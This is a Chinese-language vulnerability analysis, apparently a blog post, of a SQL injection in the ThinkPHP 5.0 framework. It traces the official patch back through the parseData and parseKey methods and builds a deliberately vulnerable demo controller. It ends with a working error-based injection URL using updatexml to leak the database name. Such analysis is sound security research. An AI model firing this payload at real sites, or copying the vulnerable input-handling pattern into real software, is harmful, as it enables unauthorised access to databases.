0x00 影响版本
1 | 漏洞受影响的版本 |
0x01 漏洞分析
首先看一下官方commit,可以看到补丁对val[1]进行了判断,之前未作处理直接进行了拼接。
根据补丁我们逆着分析,也就说只要控制了val[1],就能进行sql注入。补丁在parseData方法中,val[1]来自data,查看这个data是从哪里来的,找到调用parseData方法的地方。
可以看到有两处调用,分别查看一下
那么可以猜测在执行数据库更新或者插入操作时可能存在注入。
这里以insert方法为例继续分析。根据上面的代码可以看到data直接带入到parseData中执行解析操作,那么我们继续向上追踪。找到Query类下的insert方法对其进行了传参并调用。
可以看到,这里的data就是调用insert方法时直接传入的参数,这里可以写一个简单的demo便于后续的操作和理解1
2
3
4
5
6
7
8
9
10
11
12
13
namespace app\index\controller;
use think\Db;
class Index
{
public function index()
{
$name = input("get.name/a");
Db::table("think_user")->where(["id"=>1])->insert(["username"=>$name]);
return "ThinkPHP SQL Test.";
}
}
在这段demo中进入insert的是由get来的name是用户完全可控的。
到现在为止,我们已经知道上面提到的data是完全可以由用户控制的,那么我们回过头来,继续看看 漏洞是如何发生的。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
通过上面的代码就可以发现,switch分支根据val[0]进行选择,当进入到case ‘inc’时,val[1]进入了parseKey方法。
但是跟踪parseKey发现,其对传入的参数未作任何处理直接返回
当传入payload,这里直接进行了拼接返回,并通过上面的一些列调用,执行了payload1
http://127.0.0.1/thinkphp_5.0.14_full/public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7e,database(),0x7e),1)&name[2]=1
执行结果
0x02 后记
但是这个漏洞比较鸡肋的是查询user() database()等,不能进行子查询。原因是因为thinkphp框架使用参数化查询PDO,将参数与查询语句分离,降低了漏洞风险,后门将会针对该框架的PDO进行分析。